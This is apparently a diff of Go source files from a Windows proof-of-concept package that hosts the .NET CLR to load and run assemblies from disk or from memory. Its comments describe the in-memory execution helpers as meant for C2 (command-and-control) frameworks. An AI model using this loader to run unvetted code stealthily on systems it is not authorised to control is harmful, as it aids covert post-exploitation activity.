||||
ExecuteAssembly_2 uintptr
|
||||
ExecuteAssembly_3 uintptr
|
||||
get_FriendlyName uintptr
|
||||
get_BaseDirectory uintptr
|
||||
get_RelativeSearchPath uintptr
|
||||
get_ShadowCopyFiles uintptr
|
||||
GetAssemblies uintptr
|
||||
AppendPrivatePath uintptr
|
||||
ClearPrivatePath uintptr
|
||||
SetShadowCopyPath uintptr
|
||||
ClearShadowCopyPath uintptr
|
||||
SetCachePath uintptr
|
||||
SetData uintptr
|
||||
GetData uintptr
|
||||
SetAppDomainPolicy uintptr
|
||||
SetThreadPrincipal uintptr
|
||||
SetPrincipalPolicy uintptr
|
||||
DoCallBack uintptr
|
||||
get_DynamicDirectory uintptr
|
||||
}
|
||||
|
||||
// GetAppDomain is a wrapper function that returns an appDomain from an existing ICORRuntimeHost object
|
||||
func GetAppDomain(runtimeHost *ICORRuntimeHost) (appDomain *AppDomain, err error) {
|
||||
debugPrint("Entering into appdomain.GetAppDomain()...")
|
||||
iu, err := runtimeHost.GetDefaultDomain()
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
err = iu.QueryInterface(IID_AppDomain, unsafe.Pointer(&appDomain))
|
||||
return
|
||||
}
|
||||
|
||||
func (obj *AppDomain) QueryInterface(riid *windows.GUID, ppvObject *uintptr) uintptr {
|
||||
debugPrint("Entering into appdomain.QueryInterface()...")
|
||||
ret, _, _ := syscall.Syscall(
|
||||
obj.vtbl.QueryInterface,
|
||||
3,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
uintptr(unsafe.Pointer(riid)),
|
||||
uintptr(unsafe.Pointer(ppvObject)))
|
||||
return ret
|
||||
}
|
||||
|
||||
func (obj *AppDomain) AddRef() uintptr {
|
||||
ret, _, _ := syscall.Syscall(
|
||||
obj.vtbl.AddRef,
|
||||
1,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
0,
|
||||
0)
|
||||
return ret
|
||||
}
|
||||
|
||||
func (obj *AppDomain) Release() uintptr {
|
||||
ret, _, _ := syscall.Syscall(
|
||||
obj.vtbl.Release,
|
||||
1,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
0,
|
||||
0)
|
||||
return ret
|
||||
}
|
||||
|
||||
// GetHashCode serves as the default hash function.
|
||||
// https://docs.microsoft.com/en-us/dotnet/api/system.object.gethashcode?view=netframework-4.8#System_Object_GetHashCode
|
||||
func (obj *AppDomain) GetHashCode() (int32, error) {
|
||||
debugPrint("Entering into appdomain.GetHashCode()...")
|
||||
ret, _, err := syscall.Syscall(
|
||||
obj.vtbl.GetHashCode,
|
||||
2,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
0,
|
||||
0,
|
||||
)
|
||||
if err != syscall.Errno(0) {
|
||||
return 0, fmt.Errorf("the appdomain.GetHashCode function returned an error:\r\n%s", err)
|
||||
}
|
||||
// Unable to avoid misuse of unsafe.Pointer because the Windows API call returns the safeArray pointer in the "ret" value. This is a go vet false positive
|
||||
return int32(ret), nil
|
||||
}
|
||||
|
||||
// Load_3 Loads an Assembly into this application domain.
|
||||
// virtual HRESULT __stdcall Load_3 (
|
||||
// /*[in]*/ SAFEARRAY * rawAssembly,
|
||||
// /*[out,retval]*/ struct _Assembly * * pRetVal ) = 0;
|
||||
// https://docs.microsoft.com/en-us/dotnet/api/system.appdomain.load?view=net-5.0
|
||||
func (obj *AppDomain) Load_3(rawAssembly *SafeArray) (assembly *Assembly, err error) {
|
||||
debugPrint("Entering into appdomain.Load_3()...")
|
||||
hr, _, err := syscall.Syscall(
|
||||
obj.vtbl.Load_3,
|
||||
3,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
uintptr(unsafe.Pointer(rawAssembly)),
|
||||
uintptr(unsafe.Pointer(&assembly)),
|
||||
)
|
||||
|
||||
if err != syscall.Errno(0) {
|
||||
if err != syscall.Errno(1150) {
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
if hr != S_OK {
|
||||
err = fmt.Errorf("the appdomain.Load_3 function returned a non-zero HRESULT: 0x%x", hr)
|
||||
return
|
||||
}
|
||||
err = nil
|
||||
|
||||
return
|
||||
}
|
||||
|
||||
// ToString Obtains a string representation that includes the friendly name of the application domain and any context policies.
|
||||
// https://docs.microsoft.com/en-us/dotnet/api/system.appdomain.tostring?view=net-5.0#System_AppDomain_ToString
|
||||
func (obj *AppDomain) ToString() (domain string, err error) {
|
||||
debugPrint("Entering into appdomain.ToString()...")
|
||||
var pDomain *string
|
||||
hr, _, err := syscall.Syscall(
|
||||
obj.vtbl.get_ToString,
|
||||
2,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
uintptr(unsafe.Pointer(&pDomain)),
|
||||
0,
|
||||
)
|
||||
|
||||
if err != syscall.Errno(0) {
|
||||
err = fmt.Errorf("the AppDomain.ToString method retured an error:\r\n%s", err)
|
||||
return
|
||||
}
|
||||
if hr != S_OK {
|
||||
err = fmt.Errorf("the AppDomain.ToString method returned a non-zero HRESULT: 0x%x", hr)
|
||||
return
|
||||
}
|
||||
err = nil
|
||||
domain = ReadUnicodeStr(unsafe.Pointer(pDomain))
|
||||
return
|
||||
}
|
||||
+129
@@ -0,0 +1,129 @@
|
||||
// +build windows
|
||||
|
||||
package clr
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"syscall"
|
||||
"unsafe"
|
||||
|
||||
"golang.org/x/sys/windows"
|
||||
)
|
||||
|
||||
// from mscorlib.tlh
|
||||
|
||||
type Assembly struct {
|
||||
vtbl *AssemblyVtbl
|
||||
}
|
||||
|
||||
// AssemblyVtbl is a COM virtual table of functions for the Assembly Class
|
||||
// https://docs.microsoft.com/en-us/dotnet/api/system.reflection.assembly?view=netframework-4.8
|
||||
type AssemblyVtbl struct {
|
||||
QueryInterface uintptr
|
||||
AddRef uintptr
|
||||
Release uintptr
|
||||
GetTypeInfoCount uintptr
|
||||
GetTypeInfo uintptr
|
||||
GetIDsOfNames uintptr
|
||||
Invoke uintptr
|
||||
get_ToString uintptr
|
||||
Equals uintptr
|
||||
GetHashCode uintptr
|
||||
GetType uintptr
|
||||
get_CodeBase uintptr
|
||||
get_EscapedCodeBase uintptr
|
||||
GetName uintptr
|
||||
GetName_2 uintptr
|
||||
get_FullName uintptr
|
||||
get_EntryPoint uintptr
|
||||
GetType_2 uintptr
|
||||
GetType_3 uintptr
|
||||
GetExportedTypes uintptr
|
||||
GetTypes uintptr
|
||||
GetManifestResourceStream uintptr
|
||||
GetManifestResourceStream_2 uintptr
|
||||
GetFile uintptr
|
||||
GetFiles uintptr
|
||||
GetFiles_2 uintptr
|
||||
GetManifestResourceNames uintptr
|
||||
GetManifestResourceInfo uintptr
|
||||
get_Location uintptr
|
||||
get_Evidence uintptr
|
||||
GetCustomAttributes uintptr
|
||||
GetCustomAttributes_2 uintptr
|
||||
IsDefined uintptr
|
||||
GetObjectData uintptr
|
||||
add_ModuleResolve uintptr
|
||||
remove_ModuleResolve uintptr
|
||||
GetType_4 uintptr
|
||||
GetSatelliteAssembly uintptr
|
||||
GetSatelliteAssembly_2 uintptr
|
||||
LoadModule uintptr
|
||||
LoadModule_2 uintptr
|
||||
CreateInstance uintptr
|
||||
CreateInstance_2 uintptr
|
||||
CreateInstance_3 uintptr
|
||||
GetLoadedModules uintptr
|
||||
GetLoadedModules_2 uintptr
|
||||
GetModules uintptr
|
||||
GetModules_2 uintptr
|
||||
GetModule uintptr
|
||||
GetReferencedAssemblies uintptr
|
||||
get_GlobalAssemblyCache uintptr
|
||||
}
|
||||
|
||||
func (obj *Assembly) QueryInterface(riid *windows.GUID, ppvObject *uintptr) uintptr {
|
||||
ret, _, _ := syscall.Syscall(
|
||||
obj.vtbl.QueryInterface,
|
||||
3,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
uintptr(unsafe.Pointer(riid)),
|
||||
uintptr(unsafe.Pointer(ppvObject)))
|
||||
return ret
|
||||
}
|
||||
|
||||
func (obj *Assembly) AddRef() uintptr {
|
||||
ret, _, _ := syscall.Syscall(
|
||||
obj.vtbl.AddRef,
|
||||
1,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
0,
|
||||
0)
|
||||
return ret
|
||||
}
|
||||
|
||||
func (obj *Assembly) Release() uintptr {
|
||||
ret, _, _ := syscall.Syscall(
|
||||
obj.vtbl.Release,
|
||||
1,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
0,
|
||||
0)
|
||||
return ret
|
||||
}
|
||||
|
||||
// GetEntryPoint returns the assembly's MethodInfo
|
||||
// virtual HRESULT __stdcall get_EntryPoint (
|
||||
// /*[out,retval]*/ struct _MethodInfo * * pRetVal ) = 0;
|
||||
// https://docs.microsoft.com/en-us/dotnet/api/system.reflection.assembly.entrypoint?view=netframework-4.8#System_Reflection_Assembly_EntryPoint
|
||||
// https://docs.microsoft.com/en-us/dotnet/api/system.reflection.methodinfo?view=netframework-4.8
|
||||
func (obj *Assembly) GetEntryPoint() (pRetVal *MethodInfo, err error) {
|
||||
debugPrint("Entering into assembly.GetEntryPoint()...")
|
||||
hr, _, err := syscall.Syscall(
|
||||
obj.vtbl.get_EntryPoint,
|
||||
2,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
uintptr(unsafe.Pointer(&pRetVal)),
|
||||
0,
|
||||
)
|
||||
if err != syscall.Errno(0) {
|
||||
err = fmt.Errorf("the Assembly::GetEntryPoint method returned an error:\r\n%s", err)
|
||||
return
|
||||
}
|
||||
if hr != S_OK {
|
||||
err = fmt.Errorf("the Assembly::GetEntryPoint method returned a non-zero HRESULT: 0x%x", hr)
|
||||
return
|
||||
}
|
||||
err = nil
|
||||
return
|
||||
}
|
||||
+367
@@ -0,0 +1,367 @@
|
||||
// +build windows
|
||||
|
||||
// go-clr is a PoC package that wraps Windows syscalls necessary to load and the CLR into the current process and
|
||||
// execute a managed DLL from disk or a managed EXE from memory
|
||||
package clr
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"strings"
|
||||
"syscall"
|
||||
"unsafe"
|
||||
)
|
||||
|
||||
// GetInstallRuntimes is a wrapper function that returns an array of installed runtimes. Requires an existing ICLRMetaHost
|
||||
func GetInstalledRuntimes(metahost *ICLRMetaHost) ([]string, error) {
|
||||
var runtimes []string
|
||||
enumICLRRuntimeInfo, err := metahost.EnumerateInstalledRuntimes()
|
||||
if err != nil {
|
||||
return runtimes, err
|
||||
}
|
||||
|
||||
var hr int
|
||||
for hr != S_FALSE {
|
||||
var runtimeInfo *ICLRRuntimeInfo
|
||||
var fetched = uint32(0)
|
||||
hr, err = enumICLRRuntimeInfo.Next(1, unsafe.Pointer(&runtimeInfo), &fetched)
|
||||
if err != nil {
|
||||
return runtimes, fmt.Errorf("InstalledRuntimes Next Error:\r\n%s\n", err)
|
||||
}
|
||||
if hr == S_FALSE {
|
||||
break
|
||||
}
|
||||
// Only release if an interface pointer was returned
|
||||
runtimeInfo.Release()
|
||||
|
||||
version, err := runtimeInfo.GetVersionString()
|
||||
if err != nil {
|
||||
return runtimes, err
|
||||
}
|
||||
runtimes = append(runtimes, version)
|
||||
}
|
||||
if len(runtimes) == 0 {
|
||||
return runtimes, fmt.Errorf("Could not find any installed runtimes")
|
||||
}
|
||||
return runtimes, err
|
||||
}
|
||||
|
||||
// ExecuteDLLFromDisk is a wrapper function that will automatically load the latest installed CLR into the current process
|
||||
// and execute a DLL on disk in the default app domain. It takes in the target runtime, DLLPath, TypeName, MethodName
|
||||
// and Argument to use as strings. It returns the return code from the assembly
|
||||
func ExecuteDLLFromDisk(targetRuntime, dllpath, typeName, methodName, argument string) (retCode int16, err error) {
|
||||
retCode = -1
|
||||
if targetRuntime == "" {
|
||||
targetRuntime = "v4"
|
||||
}
|
||||
metahost, err := CLRCreateInstance(CLSID_CLRMetaHost, IID_ICLRMetaHost)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
runtimes, err := GetInstalledRuntimes(metahost)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
var latestRuntime string
|
||||
for _, r := range runtimes {
|
||||
if strings.Contains(r, targetRuntime) {
|
||||
latestRuntime = r
|
||||
break
|
||||
} else {
|
||||
latestRuntime = r
|
||||
}
|
||||
}
|
||||
runtimeInfo, err := GetRuntimeInfo(metahost, latestRuntime)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
isLoadable, err := runtimeInfo.IsLoadable()
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
if !isLoadable {
|
||||
return -1, fmt.Errorf("%s is not loadable for some reason", latestRuntime)
|
||||
}
|
||||
runtimeHost, err := GetICLRRuntimeHost(runtimeInfo)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
pDLLPath, err := syscall.UTF16PtrFromString(dllpath)
|
||||
must(err)
|
||||
pTypeName, err := syscall.UTF16PtrFromString(typeName)
|
||||
must(err)
|
||||
pMethodName, err := syscall.UTF16PtrFromString(methodName)
|
||||
must(err)
|
||||
pArgument, err := syscall.UTF16PtrFromString(argument)
|
||||
must(err)
|
||||
|
||||
ret, err := runtimeHost.ExecuteInDefaultAppDomain(pDLLPath, pTypeName, pMethodName, pArgument)
|
||||
must(err)
|
||||
if *ret != 0 {
|
||||
return int16(*ret), fmt.Errorf("the ICLRRuntimeHost::ExecuteInDefaultAppDomain method returned a non-zero return value: %d", *ret)
|
||||
}
|
||||
|
||||
runtimeHost.Release()
|
||||
runtimeInfo.Release()
|
||||
metahost.Release()
|
||||
return 0, nil
|
||||
}
|
||||
|
||||
// ExecuteByteArray is a wrapper function that will automatically loads the supplied target framework into the current
|
||||
// process using the legacy APIs, then load and execute an executable from memory. If no targetRuntime is specified, it
|
||||
// will default to latest. It takes in a byte array of the executable to load and run and returns the return code.
|
||||
// You can supply an array of strings as command line arguments.
|
||||
func ExecuteByteArray(targetRuntime string, rawBytes []byte, params []string) (retCode int32, err error) {
|
||||
retCode = -1
|
||||
if targetRuntime == "" {
|
||||
targetRuntime = "v4"
|
||||
}
|
||||
metahost, err := CLRCreateInstance(CLSID_CLRMetaHost, IID_ICLRMetaHost)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
runtimes, err := GetInstalledRuntimes(metahost)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
var latestRuntime string
|
||||
for _, r := range runtimes {
|
||||
if strings.Contains(r, targetRuntime) {
|
||||
latestRuntime = r
|
||||
break
|
||||
} else {
|
||||
latestRuntime = r
|
||||
}
|
||||
}
|
||||
runtimeInfo, err := GetRuntimeInfo(metahost, latestRuntime)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
isLoadable, err := runtimeInfo.IsLoadable()
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
if !isLoadable {
|
||||
return -1, fmt.Errorf("%s is not loadable for some reason", latestRuntime)
|
||||
}
|
||||
runtimeHost, err := GetICORRuntimeHost(runtimeInfo)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
appDomain, err := GetAppDomain(runtimeHost)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
safeArrayPtr, err := CreateSafeArray(rawBytes)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
assembly, err := appDomain.Load_3(safeArrayPtr)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
methodInfo, err := assembly.GetEntryPoint()
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
var paramSafeArray *SafeArray
|
||||
methodSignature, err := methodInfo.GetString()
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
if expectsParams(methodSignature) {
|
||||
if paramSafeArray, err = PrepareParameters(params); err != nil {
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
nullVariant := Variant{
|
||||
VT: 1,
|
||||
Val: uintptr(0),
|
||||
}
|
||||
err = methodInfo.Invoke_3(nullVariant, paramSafeArray)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
appDomain.Release()
|
||||
runtimeHost.Release()
|
||||
runtimeInfo.Release()
|
||||
metahost.Release()
|
||||
return 0, nil
|
||||
}
|
||||
|
||||
// LoadCLR loads the target runtime into the current process and returns the runtimehost
|
||||
// The intended purpose is for the runtimehost to be reused for subsequent operations
|
||||
// throught the duration of the program. Commonly used with C2 frameworks
|
||||
func LoadCLR(targetRuntime string) (runtimeHost *ICORRuntimeHost, err error) {
|
||||
if targetRuntime == "" {
|
||||
targetRuntime = "v4"
|
||||
}
|
||||
|
||||
metahost, err := CLRCreateInstance(CLSID_CLRMetaHost, IID_ICLRMetaHost)
|
||||
if err != nil {
|
||||
return runtimeHost, fmt.Errorf("there was an error enumerating the installed CLR runtimes:\n%s", err)
|
||||
}
|
||||
|
||||
runtimes, err := GetInstalledRuntimes(metahost)
|
||||
debugPrint(fmt.Sprintf("Installed Runtimes: %v", runtimes))
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
var latestRuntime string
|
||||
for _, r := range runtimes {
|
||||
if strings.Contains(r, targetRuntime) {
|
||||
latestRuntime = r
|
||||
break
|
||||
} else {
|
||||
latestRuntime = r
|
||||
}
|
||||
}
|
||||
runtimeInfo, err := GetRuntimeInfo(metahost, latestRuntime)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
isLoadable, err := runtimeInfo.IsLoadable()
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
if !isLoadable {
|
||||
err = fmt.Errorf("%s is not loadable for some reason", latestRuntime)
|
||||
}
|
||||
|
||||
return GetICORRuntimeHost(runtimeInfo)
|
||||
}
|
||||
|
||||
// ExecuteByteArrayDefaultDomain uses a previously instantiated runtimehost, gets the default AppDomain,
|
||||
// loads the assembly into, executes the assembly, and then releases AppDomain
|
||||
// Intended to be used by C2 frameworks to quickly execute an assembly one time
|
||||
func ExecuteByteArrayDefaultDomain(runtimeHost *ICORRuntimeHost, rawBytes []byte, params []string) (stdout string, stderr string) {
|
||||
appDomain, err := GetAppDomain(runtimeHost)
|
||||
if err != nil {
|
||||
stderr = err.Error()
|
||||
return
|
||||
}
|
||||
safeArrayPtr, err := CreateSafeArray(rawBytes)
|
||||
if err != nil {
|
||||
stderr = err.Error()
|
||||
return
|
||||
}
|
||||
|
||||
assembly, err := appDomain.Load_3(safeArrayPtr)
|
||||
if err != nil {
|
||||
stderr = err.Error()
|
||||
return
|
||||
}
|
||||
|
||||
methodInfo, err := assembly.GetEntryPoint()
|
||||
if err != nil {
|
||||
stderr = err.Error()
|
||||
return
|
||||
}
|
||||
|
||||
var paramSafeArray *SafeArray
|
||||
methodSignature, err := methodInfo.GetString()
|
||||
if err != nil {
|
||||
stderr = err.Error()
|
||||
return
|
||||
}
|
||||
|
||||
if expectsParams(methodSignature) {
|
||||
if paramSafeArray, err = PrepareParameters(params); err != nil {
|
||||
stderr = err.Error()
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
nullVariant := Variant{
|
||||
VT: 1,
|
||||
Val: uintptr(0),
|
||||
}
|
||||
|
||||
err = methodInfo.Invoke_3(nullVariant, paramSafeArray)
|
||||
if err != nil {
|
||||
stderr = err.Error()
|
||||
return
|
||||
}
|
||||
|
||||
assembly.Release()
|
||||
appDomain.Release()
|
||||
return
|
||||
}
|
||||
|
||||
// LoadAssembly uses a previously instantiated runtimehost and loads an assembly into the default AppDomain
|
||||
// and returns the assembly's methodInfo structure. The intended purpose is for the assembly to be loaded
|
||||
// once but executed many times throught the duration of the program. Commonly used with C2 frameworks
|
||||
func LoadAssembly(runtimeHost *ICORRuntimeHost, rawBytes []byte) (methodInfo *MethodInfo, err error) {
|
||||
appDomain, err := GetAppDomain(runtimeHost)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
safeArrayPtr, err := CreateSafeArray(rawBytes)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
assembly, err := appDomain.Load_3(safeArrayPtr)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
return assembly.GetEntryPoint()
|
||||
}
|
||||
|
||||
// InvokeAssembly uses the MethodInfo structure of a previously loaded assembly and executes it.
|
||||
// The intended purpose is for the assembly to be executed many times throught the duration of the
|
||||
// program. Commonly used with C2 frameworks
|
||||
func InvokeAssembly(methodInfo *MethodInfo, params []string) (stdout string, stderr string) {
|
||||
var paramSafeArray *SafeArray
|
||||
methodSignature, err := methodInfo.GetString()
|
||||
if err != nil {
|
||||
stderr = err.Error()
|
||||
return
|
||||
}
|
||||
|
||||
if expectsParams(methodSignature) {
|
||||
if paramSafeArray, err = PrepareParameters(params); err != nil {
|
||||
stderr = err.Error()
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
nullVariant := Variant{
|
||||
VT: 1,
|
||||
Val: uintptr(0),
|
||||
}
|
||||
|
||||
defer SafeArrayDestroy(paramSafeArray)
|
||||
|
||||
// Ensure exclusive access to read/write STDOUT/STDERR
|
||||
mutex.Lock()
|
||||
defer mutex.Unlock()
|
||||
|
||||
err = methodInfo.Invoke_3(nullVariant, paramSafeArray)
|
||||
if err != nil {
|
||||
stderr = err.Error()
|
||||
// Don't return because there could be data on STDOUT/STDERR
|
||||
}
|
||||
|
||||
// Read data from previously redirected STDOUT/STDERR
|
||||
if wSTDOUT != nil {
|
||||
var e string
|
||||
stdout, e, err = ReadStdoutStderr()
|
||||
stderr += e
|
||||
if err != nil {
|
||||
stderr += err.Error()
|
||||
}
|
||||
}
|
||||
|
||||
return
|
||||
}
|
||||
+22
@@ -0,0 +1,22 @@
|
||||
// +build windows
|
||||
|
||||
package clr
|
||||
|
||||
import (
|
||||
"golang.org/x/sys/windows"
|
||||
)
|
||||
|
||||
var (
|
||||
CLSID_CLRMetaHost = windows.GUID{Data1: 0x9280188d, Data2: 0x0e8e, Data3: 0x4867, Data4: [8]byte{0xb3, 0x0c, 0x7f, 0xa8, 0x38, 0x84, 0xe8, 0xde}}
|
||||
IID_ICLRMetaHost = windows.GUID{Data1: 0xD332DB9E, Data2: 0xB9B3, Data3: 0x4125, Data4: [8]byte{0x82, 0x07, 0xA1, 0x48, 0x84, 0xF5, 0x32, 0x16}}
|
||||
IID_ICLRRuntimeInfo = windows.GUID{Data1: 0xBD39D1D2, Data2: 0xBA2F, Data3: 0x486a, Data4: [8]byte{0x89, 0xB0, 0xB4, 0xB0, 0xCB, 0x46, 0x68, 0x91}}
|
||||
CLSID_CLRRuntimeHost = windows.GUID{Data1: 0x90F1A06E, Data2: 0x7712, Data3: 0x4762, Data4: [8]byte{0x86, 0xB5, 0x7A, 0x5E, 0xBA, 0x6B, 0xDB, 0x02}}
|
||||
IID_ICLRRuntimeHost = windows.GUID{Data1: 0x90F1A06C, Data2: 0x7712, Data3: 0x4762, Data4: [8]byte{0x86, 0xB5, 0x7A, 0x5E, 0xBA, 0x6B, 0xDB, 0x02}}
|
||||
IID_ICorRuntimeHost = windows.GUID{Data1: 0xcb2f6722, Data2: 0xab3a, Data3: 0x11d2, Data4: [8]byte{0x9c, 0x40, 0x00, 0xc0, 0x4f, 0xa3, 0x0a, 0x3e}}
|
||||
CLSID_CorRuntimeHost = windows.GUID{Data1: 0xcb2f6723, Data2: 0xab3a, Data3: 0x11d2, Data4: [8]byte{0x9c, 0x40, 0x00, 0xc0, 0x4f, 0xa3, 0x0a, 0x3e}}
|
||||
IID_AppDomain = windows.GUID{Data1: 0x05f696dc, Data2: 0x2b29, Data3: 0x3663, Data4: [8]byte{0xad, 0x8b, 0xc4, 0x38, 0x9c, 0xf2, 0xa7, 0x13}}
|
||||
// IID_IErrorInfo is the interface ID for the Error interface 1CF2B120-547D-101B-8E65-08002B2BD119
|
||||
IID_IErrorInfo = windows.GUID{Data1: 0x1cf2b120, Data2: 0x547d, Data3: 0x101b, Data4: [8]byte{0x8e, 0x65, 0x08, 0x00, 0x2b, 0x2b, 0xd1, 0x19}}
|
||||
// DF0B3D60-548F-101B-8E65-08002B2BD119 https://docs.microsoft.com/en-us/windows/win32/api/oaidl/nn-oaidl-isupporterrorinfo
|
||||
IID_ISupportErrorInfo = windows.GUID{Data1: 0xDF0B3D60, Data2: 0x548F, Data3: 0x101B, Data4: [8]byte{0x8e, 0x65, 0x08, 0x00, 0x2b, 0x2b, 0xd1, 0x19}}
|
||||
)
|
||||
+22
@@ -0,0 +1,22 @@
|
||||
package clr
|
||||
|
||||
// https://docs.microsoft.com/en-us/dotnet/framework/interop/how-to-map-hresults-and-exceptions
|
||||
// https://docs.microsoft.com/en-us/windows/win32/seccrypto/common-hresult-values
|
||||
|
||||
const (
|
||||
S_OK = 0x00
|
||||
S_FALSE = 0x01
|
||||
// COR_E_TARGETINVOCATION is TargetInvocationException
|
||||
// https://docs.microsoft.com/en-us/dotnet/api/system.reflection.targetinvocationexception?view=net-5.0
|
||||
COR_E_TARGETINVOCATION uint32 = 0x80131604
|
||||
// COR_E_SAFEARRAYRANKMISMATCH is SafeArrayRankMismatchException
|
||||
COR_E_SAFEARRAYRANKMISMATCH uint32 = 0x80131538
|
||||
// COR_E_BADIMAGEFORMAT is BadImageFormatException
|
||||
COR_E_BADIMAGEFORMAT uint32 = 0x8007000b
|
||||
// DISP_E_BADPARAMCOUNT is invalid number of parameters
|
||||
DISP_E_BADPARAMCOUNT uint32 = 0x8002000e
|
||||
// E_POINTER Pointer that is not valid
|
||||
E_POINTER uint32 = 0x80004003
|
||||
// E_NOINTERFACE No such interface supported
|
||||
E_NOINTERFACE uint32 = 0x80004002
|
||||
)
|
||||
+187
@@ -0,0 +1,187 @@
|
||||
// +build windows
|
||||
|
||||
package clr
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"syscall"
|
||||
"unsafe"
|
||||
|
||||
"golang.org/x/sys/windows"
|
||||
)
|
||||
|
||||
// Couldnt have done any of this without this SO answer I stumbled on:
|
||||
// https://stackoverflow.com/questions/37781676/how-to-use-com-component-object-model-in-golang
|
||||
|
||||
//ICLRMetaHost Interface from metahost.h
|
||||
type ICLRMetaHost struct {
|
||||
vtbl *ICLRMetaHostVtbl
|
||||
}
|
||||
|
||||
// ICLRMetaHostVtbl provides methods that return a specific version of the common language runtime (CLR)
|
||||
// based on its version number, list all installed CLRs, list all runtimes that are loaded in a specified
|
||||
// process, discover the CLR version used to compile an assembly, exit a process with a clean runtime
|
||||
// shutdown, and query legacy API binding.
|
||||
// https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/iclrmetahost-interface
|
||||
type ICLRMetaHostVtbl struct {
|
||||
QueryInterface uintptr
|
||||
AddRef uintptr
|
||||
Release uintptr
|
||||
// GetRuntime gets the ICLRRuntimeInfo interface that corresponds to a particular CLR version.
|
||||
// This method supersedes the CorBindToRuntimeEx function used with the STARTUP_LOADER_SAFEMODE flag.
|
||||
GetRuntime uintptr
|
||||
// GetVersionFromFile gets the assembly's original .NET Framework compilation version (stored in the metadata),
|
||||
// given its file path. This method supersedes GetFileVersion.
|
||||
GetVersionFromFile uintptr
|
||||
// EnumerateInstalledRuntimes returns an enumeration that contains a valid ICLRRuntimeInfo interface
|
||||
// pointer for each CLR version that is installed on a computer.
|
||||
EnumerateInstalledRuntimes uintptr
|
||||
// EnumerateLoadedRuntimes returns an enumeration that contains a valid ICLRRuntimeInfo interface
|
||||
// pointer for each CLR that is loaded in a given process. This method supersedes GetVersionFromProcess.
|
||||
EnumerateLoadedRuntimes uintptr
|
||||
// RequestRuntimeLoadedNotification guarantees a callback to the specified function pointer when a
|
||||
// CLR version is first loaded, but not yet started. This method supersedes LockClrVersion
|
||||
RequestRuntimeLoadedNotification uintptr
|
||||
// QueryLegacyV2RuntimeBinding returns an interface that represents a runtime to which legacy activation policy
|
||||
// has been bound, for example by using the useLegacyV2RuntimeActivationPolicy attribute on the <startup> Element
|
||||
// configuration file entry, by direct use of the legacy activation APIs, or by calling the
|
||||
// ICLRRuntimeInfo::BindAsLegacyV2Runtime method.
|
||||
QueryLegacyV2RuntimeBinding uintptr
|
||||
// ExitProcess attempts to shut down all loaded runtimes gracefully and then terminates the process.
|
||||
ExitProcess uintptr
|
||||
}
|
||||
|
||||
// CLRCreateInstance provides one of three interfaces: ICLRMetaHost, ICLRMetaHostPolicy, or ICLRDebugging.
|
||||
// HRESULT CLRCreateInstance(
|
||||
// [in] REFCLSID clsid,
|
||||
// [in] REFIID riid,
|
||||
// [out] LPVOID * ppInterface
|
||||
// );
|
||||
// https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/clrcreateinstance-function
|
||||
func CLRCreateInstance(clsid, riid windows.GUID) (ppInterface *ICLRMetaHost, err error) {
|
||||
debugPrint("Entering into iclrmetahost.CLRCreateInstance()...")
|
||||
|
||||
if clsid != CLSID_CLRMetaHost {
|
||||
err = fmt.Errorf("the input Class ID (CLSID) is not supported: %s", clsid)
|
||||
return
|
||||
}
|
||||
|
||||
modMSCoree := syscall.MustLoadDLL("mscoree.dll")
|
||||
procCLRCreateInstance := modMSCoree.MustFindProc("CLRCreateInstance")
|
||||
|
||||
// For some reason this procedure call returns "The specified procedure could not be found." even though it works
|
||||
hr, _, err := procCLRCreateInstance.Call(
|
||||
uintptr(unsafe.Pointer(&clsid)),
|
||||
uintptr(unsafe.Pointer(&riid)),
|
||||
uintptr(unsafe.Pointer(&ppInterface)),
|
||||
)
|
||||
|
||||
if err != nil {
|
||||
// TODO Figure out why "The specified procedure could not be found." is returned even though everything works fine?
|
||||
debugPrint(fmt.Sprintf("the mscoree!CLRCreateInstance function returned an error:\r\n%s", err))
|
||||
}
|
||||
if hr != S_OK {
|
||||
err = fmt.Errorf("the mscoree!CLRCreateInstance function returned a non-zero HRESULT: 0x%x", hr)
|
||||
return
|
||||
}
|
||||
err = nil
|
||||
return
|
||||
}
|
||||
|
||||
